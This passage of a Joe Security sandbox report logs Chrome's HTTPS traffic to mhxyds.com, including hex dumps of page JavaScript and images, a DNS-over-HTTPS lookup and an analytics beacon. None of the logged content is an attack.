20 67 28 64 29 7b 76 61 72 20 6d 3d 64 5b 30 5d 3b 69 66 28 61 2e 61 63 74 69 6f 6e 73 5b 6d 5d 3d 3d 3d 6a 29 7b 61 
2e 61 63 74 69 6f 6e 28 22 73 65 74 22 2c 64 29 7d 65 6c 73 65 7b 61 2e 61 63 74 69 6f 6e 28 6d 2c 64 2e 73 6c 69 63 
65 28 31 29 29 7d 7d 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 
68 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 63 5b 65 5d 3d 68 5b 65 5d 3b 66 5b 65 5d 3d 68 5b 65 5d 7d 61 2e 64 61 74 
61 3d 63 3b 61 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 66 2e 
6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 67 28 66 5b 64 5d 29 7d 77 68 69 6c 
Data Ascii: g",function(){a.showlog()});function g(d){var m=d[0];if(a.actions[m]===j){a.action("set",d)}else{a.action(m,
d.slice(1))}}var c=[];var f=[];for(var e=0;e<h.length;e++){c[e]=h[e];f[e]=h[e]}a.data=c;a.ready(function(){for(var d=0;d
<f.length;d++){g(f[d])}whil

2022-08-11 03:42:45 UTC 753 IN Data Raw: 63 6f 6e 63 61 74 28 64 2e 69 6e 63 6c 75 64 65 29 7d 69 66 28 74 68 69 73 2e 69 73 5f 61 72 72 61 79 28 64 
2e 65 78 63 6c 75 64 65 29 29 7b 74 68 69 73 2e 6d 61 74 63 68 65 73 2e 65 78 63 6c 75 64 65 3d 74 68 69 73 2e 6d 61 
74 63 68 65 73 2e 65 78 63 6c 75 64 65 2e 63 6f 6e 63 61 74 28 64 2e 65 78 63 6c 75 64 65 29 7d 7d 7d 2c 72 65 70 6c 
61 63 65 6d 65 6e 74 73 3a 5b 5d 2c 61 64 64 5f 72 65 70 6c 61 63 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7
b 69 66 28 74 68 69 73 2e 69 73 5f 66 75 6e 63 74 69 6f 6e 28 64 29 29 7b 74 68 69 73 2e 72 65 70 6c 61 63 65 6d 65 6e 
74 73 2e 70 75 73 68 28 64 29 7d 7d 2c 69 73 5f 66 75 6e 63 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 
75 72 6e 20 64 21 3d 6e 75 6c 6c 26 26 28 74 79 70 65 6f 66 20 64 
Data Ascii: concat(d.include)}if(this.is_array(d.exclude)){this.matches.exclude=this.matches.exclude.concat(d.exclude)}}
},replacements:[],add_replacement:function(d){if(this.is_function(d)){this.replacements.push(d)}},is_function:function(d)
{return d!=null&&(typeof d

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

73 118.27.105.118 443 192.168.11.20 64082 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:46 UTC 754 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:45 GMT
Content-Type: image/jpeg
Content-Length: 187861
Last-Modified: Sun, 05 Feb 2017 14:32:26 GMT
Connection: close
ETag: "5897377a-2ddd5"
Expires: Sat, 10 Sep 2022 03:42:45 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:46 UTC 755 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 01 4a 03 e8 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CCJ"}!1AQa"q2

2022-08-11 03:42:46 UTC 770 IN Data Raw: 52 d8 6f d8 48 e0 29 fb a9 ff 00 01 03 eb de b0 53 c4 da af 8a b7 59 c7 1d c3 46 01 63 65 67 f2 20 e3 f8 db 8f 
c4 92 2b 63 c2 5e 06 8f 72 fd b2 e3 6b 28 c2 da 69 51 97 94 fa 8f 37 ee af bb 72 69 5e ef 40 2b f8 97 c6 3a 96 af a7 8b 1b 
71 0e 97 6e 18 11 69 67 11 f3 25 3e ed c9 62 3d 4f 7e f5 0f 86 bc 13 0c 17 31 c9 a9 98 6c 79 1b 61 11 35 c5 dc 87 fb c5 
07 ca a7 dd 8e 6b bc 87 c2 b0 e9 56 0b 0c cf 0e 93 04 c7 e6 44 1b a7 90 7a 33 67 27 f1 ac 5d 6b e2 16 93 e0 ed d1 e9 ce 
df 68 8f 83 29 0b e6 0f ab 63 8c fe 74 fd 40 d4 d3 3c 24 d6 23 cd db 0e 87 0c 80 b0 9a e5 cc b7 d3 7f b5 fe c9 3e 83 18 f5 
af ae ff 00 e0 94 1f 0b f4 7b bf 1c 78 93 c6 0d 9f b2 68 70 8b 0f b6 dc 1c b2 49 22 f9 93 b9 27 fb b0 af 27 3f c7 5f 06 f8 8f 
c5 fa cf 8a 9b 74 f2 4d 6f 0b a9 65 43 9f 
Data Ascii: RoH)SYFceg +c^rk(iQ7ri^@+:qnig%>b=O~1lya5kVDz3g']kh)ct@<$#>{xhpI"''?_tMoeC
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2022-08-11 03:42:46 UTC 789 IN Data Raw: 0f 69 3a a7 8a fc 5d a8 37 ee 6d a0 b7 f3 6e a4 24 8c b2 a9 f9 61 8c 71 99 1f 00 0e 6b 39 4a da b1 c6 2d bb 
44 ab f0 7b c6 1a c7 85 be d5 6f a8 d9 c3 7b e1 dd 56 df ca bd d2 75 06 69 25 d4 94 72 25 6e 47 97 8e d2 12 a4 71 82 2b 
ef af f8 27 ff 00 fc 13 3e 2f da 2b f6 2d f8 a5 0f 83 ee d3 46 f0 bf c4 83 a7 c7 a3 49 ac 24 92 8b 5b 8b 3b 95 96 49 8b 0e 
66 4c 6f 8c 32 6d 0d d0 f7 35 da 7c 13 ff 00 82 4f 7c 35 fd 90 be 1d af c4 cf da ab c4 da 0c 56 d6 44 5c 0f 0f 9b b3 fd 9b 
1c 98 05 52 77 cf 99 7d 30 20 fe ed 7e 4c f1 86 15 9f f1 0f fe 0b cf 3f 8e be 1c 78 f3 57 f8 37 e1 51 a3 f8 43 e1 d4 36 b6 fa 
51 9e d3 64 ba b4 b2 4e 91 26 c8 10 62 28 55 49 21 3a 9c 7c db 46 45 79 75 31 33 c4 7b 98 5d b4 f7 9e da 3e 9d cf 6e 
8e 0e 9e 13 f7 b8 e7 ad b4 82 f8 b5 d3 5e da 3f 
Data Ascii: i:]7mn$aqk9J-D{o{Vui%r%nGq+'>/+-FI$[;IfLo2m5|O|5VD\Rw}0 ~L?xW7QC6QdN&b(UI!:|FEyu13{]>n^?

2022-08-11 03:42:46 UTC 805 IN Data Raw: 9a 40 a0 fd cf 99 88 18 ce d2 07 18 ca a7 25 cc e6 f6 fc 3f e1 97 e2 fc 90 eb 61 e4 e9 47 0e 9f bc f7 b2 d7 54 
ac bb 73 cb ff 00 25 8e 96 bc 9b 30 6d 6f ec fc 41 63 1e a1 0d d3 5a db dc 59 ac fa 8d ec 99 45 c3 8d ad 95 ce 09 55 1e 
4c 71 16 0a 98 63 c1 66 61 ea 5e 18 b6 d3 fc 0d e0 65 f1 87 88 19 74 9d 2e d5 0c 1a 2d a3 30 32 5c 31 20 99 3e 61 97 
66 20 60 63 07 68 e3 03 68 f3 bf 83 1a 2e 9b aa dd ea d6 ba b5 e5 ad d7 85 7c 2b 7a ba 8a cf 24 42 19 35 79 25 dc 49 65 
ec 89 34 53 70 32 31 b4 0e 87 38 ff 00 b4 77 8f 2e 3c 5d e3 8b 4d 62 fa 4b 18 6e 74 c8 a7 1e 1b b3 ba 7c 59 e9 11 2c 7f 
be be 99 7b 98 d3 8f 60 76 af cc c7 15 1c 2c ab d4 e4 fb 2b 77 e5 db d5 ad fb 2f 50 fe d7 a5 97 e1 9d 76 97 b5 9a b2 8a 
d7 de d9 b7 af c3 16 ac 97 da 7a bd 22 ef 93 f1 bb f6 8a 
Data Ascii: @%?aGTs%0moAcZYEULqcfa^et.-02\1 >af `chh.|+z$B5y%Ie4Sp218w.<]MbKnt|Y,{`v,+w/Pvz"

2022-08-11 03:42:46 UTC 821 IN Data Raw: f1 32 f6 de de 3b 3d 96 b6 31 bf de 86 de 3d c4 fb 9d a3 93 ed 49 c9 47 71 2a 6e 6f bb fe ba 1d 03 ea 53 25 cb 
5c ea 17 76 f3 6c 26 18 bc 83 b9 b7 9e 9f 36 30 a4 f0 36 c6 33 f8 d1 5f 58 7e c7 7f b3 5e 89 fb 14 fc 2b b3 fd a1 be 3d 5a 
34 da e5 c0 df e0 0f 06 5c c7 9b b9 a6 c6 52 ea 58 b9 21 b9 0c ab 8c 46 a4 31 f9 8a 80 53 8c b4 d7 f1 2e a4 6c ec ae fd 
36 32 e4 f1 8f 87 74 7f 15 c1 a3 db f8 4e 4d 46 ea d6 59 65 ce a7 75 f6 95 08 91 95 79 4a 28 c1 3c 32 0c 9e aa d8 23 3c 
d3 be f8 cf e2 0f b5 ac 76 fa 3e 9f a5 e9 b0 ac 49 05 a2 d8 24 93 4d 71 30 57 82 0d cf bf 63 7c cb 90 08 da 1d b3 f7 78 a5 
e1 68 64 f0 6f 84 66 d6 1a da 18 ee af 63 5b 8b 9f 30 85 11 a2 3f 93 14 2c cd c9 df 26 3c ce e7 73 d6 17 8b 7c 3f 3d dd f6 
93 e1 f9 35 37 6b c8 8d c6 b1 ac 5d ef 65 95 
Data Ascii: 2;=1=IGq*noS%\vl&6063_X~^+=Z4\RX!F1S.l62tNMFYeuyJ(<2#<v>I$Mq0Wc|xhdofc[0?,&<s|?=57k]e

2022-08-11 03:42:46 UTC 837 IN Data Raw: 4d a2 04 86 f2 ee 35 da 4a 3f 5f 2e 21 fb b5 d8 08 fb c7 20 91 5f 22 f8 83 e2 33 68 d3 44 75 06 8e d7 4e 90 09 
04 5b 97 6c c7 19 19 8f e6 76 6f 76 dd f5 15 4e 49 13 18 b7 a9 d0 69 b2 e8 fa 42 c7 6a fe 57 da 31 88 24 6b 9f 35 a2 77 
1b 4b 23 8c c4 1c f4 dc 3c c7 1d 77 0e a3 ad f8 79 fb 7b f8 db e0 8a 40 34 fd 7e e1 b4 b6 23 6d bd dc ff 00 69 b6 d8 bc 61 
16 42 d2 36 7b 95 3c 9f 4a f9 db 5f f1 dd f7 88 20 f2 e1 ff 00 43 92 69 04 ab 35 d2 09 6e a6 04 9f b9 0a 8c 28 03 81 bb 9c 
77 14 2f 86 66 d2 6f bf b4 b5 2b c8 ed 5a 46 f2 89 92 4f 32 72 c3 07 68 6e 54 13 9e 42 6e 23 da a7 9b b1 a7 b3 ee 7d e1 
f0 cb fe 0b 67 a7 f8 95 a4 d3 7c 79 e0 88 e4 b1 92 43 1a 35 81 f3 a4 b8 5f ef 35 ac 9b ba fa 03 c7 f2 ea 0f c2 4f d9 3b f6 
d2 9a 79 74 59 20 f0 9f 88 99 b9 7b 70 da 4c 
Data Ascii: M5J?_.! _"3hDuN[lvovNIiBjW1$k5wK#<wy{@4~#miaB6{<J_ Ci5n(w/fo+ZFO2rhnTBn#}g|yC5_5O;ytY {pL

2022-08-11 03:42:46 UTC 853 IN Data Raw: e6 bf 3d 7f 68 ef da 9b e2 27 ed 8d e2 98 f5 2f 19 78 aa f7 c5 ec bb a5 86 de 74 fb 26 87 66 3a 9f 2a d4 12 1f 
6f f7 9b cc 27 82 42 d7 8e f8 8f e2 16 97 a7 79 92 dc 5e cd e2 6b d8 63 f2 14 93 b2 d2 35 1d 13 f8 86 07 65 01 c7 fb 2b 59 
fd 4e 55 3d ec 4c b9 bc b6 5f 77 5f 9d cd 56 61 1a 6b 97 09 1e 45 df 79 3f 57 d3 e5 63 da fe 3d 7e d6 7e 3e fd b0 3c 44 
75 0f 18 eb d7 be 2e 96 39 8f 96 97 4a 6d f4 3b 17 ee 91 5a 29 3e 68 03 bc 9b bd e2 15 db 7e ca 1e 15 d1 fe 18 f8 3b 50 
f8 f5 f1 1a 46 d5 fc 3f e0 11 b3 44 b2 69 16 3b 7d 6f 53 6c 8b 7b 38 55 41 c2 87 e5 88 f9 55 41 3b 46 0d 7c dd f0 3f c0 1e 
33 fd b0 be 2f e8 de 0b d2 e4 9a 24 d4 9f 64 ee 57 ca b5 b2 b6 50 1a 49 5d 7f 89 51 72 4e f3 8e 98 03 35 e8 3f b7 37 ed 
01 e1 bf 88 fa ce 83 e0 3f 00 c3 2e a3 f0 c7 e1 
Data Ascii: =h'/xt&f:*o'By^kc5e+YNU=L_w_VakEy?Wc=~~><Du.9Jm;Z)>h~;PF?Di;}oSl{8UAUA;F|?3/$dWPI]QrN5?7?.

2022-08-11 03:42:46 UTC 869 IN Data Raw: e0 7d f9 4f 27 24 05 5e 2b d5 be 00 d8 69 ff 00 0d 3e 16 fc 4e f1 2c 2c d6 ff 00 65 d0 a2 d1 a0 b8 97 2c 64 9a 
fa 70 99 50 17 1c 44 92 90 14 60 fa d7 9e cb a9 dc 6b db 7c 9b 5f 31 78 c5 c5 f2 fc 83 fd d8 86 4b 7f c0 8b 72 7b 50 d0 19 
36 1e 1e b1 d2 5b fd 17 ec f3 34 5f 38 b9 b8 c2 c4 83 a6 51 7e ee 7f 07 39 f4 a9 60 86 4f 10 26 e8 fc cb e7 62 07 da 6e 50 
ac 1c 7a 29 24 b9 fa e4 7a 01 5b 76 5f 0f a1 d3 9f ed 7a dd c7 99 36 32 89 32 96 7f c2 31 d3 39 e3 77 4a f7 2f d9 a3 f6 34 
f8 99 fb 56 6a 5f 63 f8 77 e1 3b e9 ad 39 49 75 8b a1 e4 d9 db 82 7b ce df 22 f1 fc 31 f3 53 29 42 0b 9a 6e c8 d2 9d 39 d4 
97 24 13 6d f4 47 8a 27 c3 6d 2e de 38 ae b5 9b a9 2e a6 8c 06 11 dc 0c 05 ef f2 43 f9 0c b6 d1 5e 97 f0 2f f6 75 f8 8d fb 
4c 78 89 34 bf 86 fe 13 d4 b5 52 ac ab 
Data Ascii: }O'$^+i>N,,e,dpPD`k|_1xKr{P6[4_8Q~9`O&bnPz)$z[v_z62219wJ/4Vj_cw;9Iu{"1S)Bn9$mG'm.8.C^/uLx4R

2022-08-11 03:42:46 UTC 885 IN Data Raw: 6f f5 5f 8b 9e 05 b8 f8 7f e4 c9 a4 6a b0 4d 35 f7 83 6e ae 17 32 12 46 fb ad 34 b9 e4 09 54 19 23 e9 f3 c6 47 
f1 57 98 de 49 e1 bf 0f ea f2 ab dd 5d 78 a3 51 5c a9 db 16 e4 8c fa 1c fc bc 7b ee 3e d5 6b 4b 8b 52 d0 f5 bb 3d 5a eb 
c4 57 47 54 b6 94 5c db ad b3 6d 8e 09 14 86 46 55 18 c3 06 00 e4 02 46 3a d7 a3 7c 77 16 33 f8 7b 4d f8 8d a1 da 59 
e9 fa 7f 8a a6 68 35 78 ed e1 c9 d3 f5 75 1b e5 40 17 90 93 73 2a 00 54 72 e3 9d b4 21 1c bf c2 1b 1b ef 1d 7c 4b d1 34 
fd 46 15 d2 f4 1f 3c 49 7c a4 0c ad bc 60 c9 26 49 c1 db b1 1b a0 55 aa 7e 22 d6 a0 f1 0f 88 f5 6d 79 a1 fb 45 c6 b1 79 2d 
ec 97 77 db 51 14 bb 16 f9 54 fc b8 e4 01 f7 ce 07 4a ee 7e 0e 78 5f 53 93 e0 87 8c 3c 41 63 0b a5 f6 a5 8d 16 d6 4b 9d 
ab b0 ce c0 49 20 5c 60 62 25 94 71 9e bd 6b 02 c7 e1 
Data Ascii: o_jM5n2F4T#GWI]xQ\{>kKR=ZWGT\mFUF:|w3{MYh5xu@s*Tr!|K4F<I|`&IU~"myEy-wQTJ~x_S<AcKI \`b%qk

2022-08-11 03:42:46 UTC 901 IN Data Raw: 39 6d c3 f8 49 c8 c1 f6 ad ad 67 50 6b 7f 15 ea d3 79 2b 2b cf 7d 3b 22 28 1f c5 2b 63 3e f5 d1 46 5e ed 9e d7 
38 b1 14 ad 2e 68 a5 7b 6d eb ff 00 0c 6d 21 65 b7 58 e6 93 76 cc e5 7c cc 79 7e e4 0e 28 9f 57 b4 bf 78 d1 56 e0 47 80 
91 22 c5 80 a3 d7 24 f5 3d 6b 13 c4 9a cc 96 77 0b 6d 08 85 5a dc 05 9c 9c 04 0e 71 f2 0e 7f 87 b9 f5 cd 56 d3 af a4 7b 
b2 d2 5c 69 ea b8 c1 1e 66 72 7f 22 7f 2a ec 78 84 9f 2a 3c e8 e0 e4 e3 ce ce ca de 48 02 32 c5 67 34 98 e1 4b 4a 30 4f 
be 2b 52 da 79 a6 81 a1 86 de de 19 19 70 58 46 cc e3 d0 83 d3 fa d7 2a 97 2e f0 ac 7f 6c 9b 6e 41 db 0c 0d b4 fe 3c 7e 
b5 ad 6a 6c d4 ab 4d 35 f3 f9 67 22 22 e9 1e 7f 53 fa d7 4c 67 ae 87 0d 4a 2e d7 7f a9 e9 7f 19 75 e9 2f 7e 23 4d a8 4d 
aa 49 63 16 b9 67 6b a9 0b 68 72 0f ef 60 42 c7 8e a4 
Data Ascii: 9mIgPky++};"(+c>F^8.h{mm!eXv|y~(WxVG"$=kwmZqV{\ifr"*x*<H2g4KJ0O+RypXF*.lnA<~jlM5g""SLgJ.
u/~#MMIcgkhr`B

2022-08-11 03:42:46 UTC 917 IN Data Raw: 63 8d bc a0 a4 67 76 fc 11 83 9e 9d ab 7f 89 68 73 c6 2a 12 d7 4f eb f2 23 b7 d7 d6 ed 1e 54 58 fe d1 e5 ef 60 
5f 68 93 b6 47 f3 19 c8 ed eb 96 dd dd ff 00 6a e9 3b ed bc e6 69 53 01 87 ce 0f 3c a3 27 f0 91 8e de 9c 56 7c 56 71 5e 
5f c2 cb 13 35 d4 7c 00 00 52 a3 d4 03 dc f5 c1 e1 87 bd 76 7f 04 7c 07 a8 7c 67 f8 a3 a4 78 63 43 b1 96 4d 53 55 b9 5b 
75 21 7f 74 c0 90 1c ee ed 81 93 cf dd c1 e6 b4 8d db b3 32 94 54 7d e8 a3 d3 ff 00 64 78 df e0 c7 c3 cd 7b e3 5f 88 ac 
a1 8a fb 40 73 a2 78 52 09 40 2b 7f aa c8 a7 6c f8 ee 96 e9 fb d6 3e a1 06 79 a9 3c 25 fb 5d c1 f1 1b 41 b5 f0 8f c6 48 35 
2f 1b 68 76 64 8d 3f 56 49 82 eb 9a 26 f3 92 61 95 b8 9e 32 dc 98 a6 fc 19 6b 1f f6 d1 f8 a5 a4 eb fe 36 d3 bc 1b e1 76 91 
bc 11 f0 e6 06 d2 34 d9 a2 38 4b f9 81 1f 6b bf 
Data Ascii: cgvhs*O#TX`_hGj;iS<'V|Vq^_5|Rv||gxcCMSU[u!t2T}dx{_@sxR@+l>y<%]AH5/hvd?VI&a2k6v48Kk

2022-08-11 03:42:46 UTC 933 IN Data Raw: 9b c4 b2 6a b0 c9 25 e5 e4 b6 53 a1 00 01 37 12 8c fc d9 0a 72 06 38 f9 99 89 ab 7f 0a 3c 37 ab 7e d0 3f 11 
b4 9f 05 f8 2b 42 8b 58 d5 b5 49 f6 46 25 62 2d e0 8f ab c8 e4 00 16 35 19 66 6c 7b 75 c0 a7 74 b6 27 95 cf 7f eb e6 cf 
44 fd 91 3f 67 cd 4f f6 96 f8 bf 0f 87 7c 23 65 1d ad 9c 2c b3 6a ba b4 88 1e 2d 2e db a3 1e 37 7e f1 b9 08 99 05 8f b0 34 
57 d4 5f b5 5f c6 fd 07 fe 09 5b fb 37 47 f0 b7 e1 eb 43 a8 7c 4c f1 0d bf da 35 3d 4a de 21 1b 5b 16 5c 35 cb 9e 88 79 2b 
12 13 f2 2f 3d 79 25 39 54 8c 5d 98 47 0f 3a 8b 9a 29 5b cd 9f 8e 1a 1b e2 ca 6b 85 8c 5c 79 63 17 90 8e 72 bd 3c d5 1e 
a3 af d3 e9 5f 57 7c 28 92 3f db ab e0 55 bf c3 fb cb 88 e5 f8 9d e0 3b 67 bb f0 56 a0 e7 0d ae d8 a8 dd 2e 9a ed d4 c8 a3 
2f 1e 7d c5 7c 9d e1 a9 1a 0f 17 d9 ec 66 4d d3 
Data Ascii: j%S7r8<7~?+BXIF%b-5fl{ut'D?gO|#e,j-.7~4W__[7GC|L5=J![\5y+/=y%9T]G:)[k\ycr<_W|(?U;gV./}|fM

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

74 192.168.11.20 49492 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:46 UTC 786 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:46 UTC 786 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 05 38 33 32 30 32 06 67 6c 6f 62 61 6c 14 73 69 74 65 69 6d 70 72 6f 76 
65 61 6e 61 6c 79 74 69 63 73 02 69 6f 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 3f 00 0c 00 3b 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 83202globalsiteimproveanalyticsio)?;

Session ID Source IP Source Port Destination IP
Destination
Port

Process

75 172.64.145.85 443 192.168.11.20 49492 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:46 UTC 787 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:46 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df691eac66967-FRA

2022-08-11 03:42:46 UTC 787 IN Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 05 38 33 32 30 32 06 67 6c 6f 62 61 6c 14 73 69 74 65 69 6d 70 72 6f 76 
65 61 6e 61 6c 79 74 69 63 73 02 69 6f 00 00 01 00 01 c0 0c 00 05 00 01 00 00 00 3c 00 0f 0c 65 75 2d 63 65 6e 74 72 
61 6c 2d 31 c0 12 c0 42 00 05 00 01 00 00 00 1e 00 4b 2a 61 6e 61 2d 63 6f 6c 6c 65 63 74 6f 72 2d 65 6c 62 2d 65 75 2d 
32 30 32 32 2d 30 34 2d 32 37 2d 31 35 33 37 32 38 37 39 31 30 0c 65 75 2d 63 65 6e 74 72 61 6c 2d 31 03 65 6c 62 09 
61 6d 61 7a 6f 6e 61 77 73 03 63 6f 6d 00 c0 5d 00 01 00 01 00 00 00 3c 00 04 23 9e 09 46 c0 5d 00 01 00 01 00 00 00 3
c 00 04 23 9c 6b d8 00 00 29 04 d0 00 00 00 00 01 01 00 0c 00 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 83202globalsiteimproveanalyticsio<eu-central-1BK*ana-collector-elb-eu-2022-04-27-1537287910eu-central-
1elbamazonawscom]<#F]<#k)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

76 192.168.11.20 60161 35.158.9.70 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:46 UTC 787 OUT GET /image.aspx?url=https%3A%2F%2Fmhxyds.com%2Fcontact.html&title=Contact%20%7C%20Perpetual&res=1920
x1080&accountid=83202&rt=9210&prev=f0b268dd-a818-0db6-9ca3-86cfebd962e9&luid=1b876654-67e3-1fe2-3afc-
0b270dc8c413&rnd=46192 HTTP/1.1
Host: 83202.global.siteimproveanalytics.io
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

77 35.158.9.70 443 192.168.11.20 60161 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:46 UTC 788 IN HTTP/1.1 200 OK
Cache-Control: max-age=0
Cache-control: no-cache="set-cookie"
Content-Type: image/gif
Date: Thu, 11 Aug 2022 03:42:46 GMT
Expires: Thu, 11 Aug 2022 03:42:46 UTC
Set-Cookie: AWSELB=1BF185CB12C799AC7E8F30E4356ECAB670474BBE589003797336CE4C220D28A5614DC7E
EC747F692D0A0C2A750D9EEAE4C03879C28C5495E651A5552CEF5FE46587B6FE465;PATH=/
Set-Cookie: AWSELBCORS=1BF185CB12C799AC7E8F30E4356ECAB670474BBE589003797336CE4C220D28A5614
DC7EEC747F692D0A0C2A750D9EEAE4C03879C28C5495E651A5552CEF5FE46587B6FE465;PATH=/;S
ECURE;SAMESITE=None
Content-Length: 34
Connection: Close

2022-08-11 03:42:46 UTC 789 IN Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b 
Data Ascii: GIF89a,L;

Session ID Source IP Source Port Destination IP
Destination
Port

Process

78 192.168.11.20 63159 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:47 UTC 940 OUT GET /ico/favicon-128.ico HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

79 192.168.11.20 59276 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:47 UTC 941 OUT GET /ico/favicon-128.ico HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.11.20 55369 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 297 of 310



2022-08-11 03:42:38 UTC 69 OUT GET /fonts.html HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

80 192.168.11.20 59277 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:47 UTC 941 OUT GET /jpg/website-image-1_1665x550950a.jpg?w=1000&hash=3F14C5A22685B5499B8C0FC7F33992E313FEA968 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
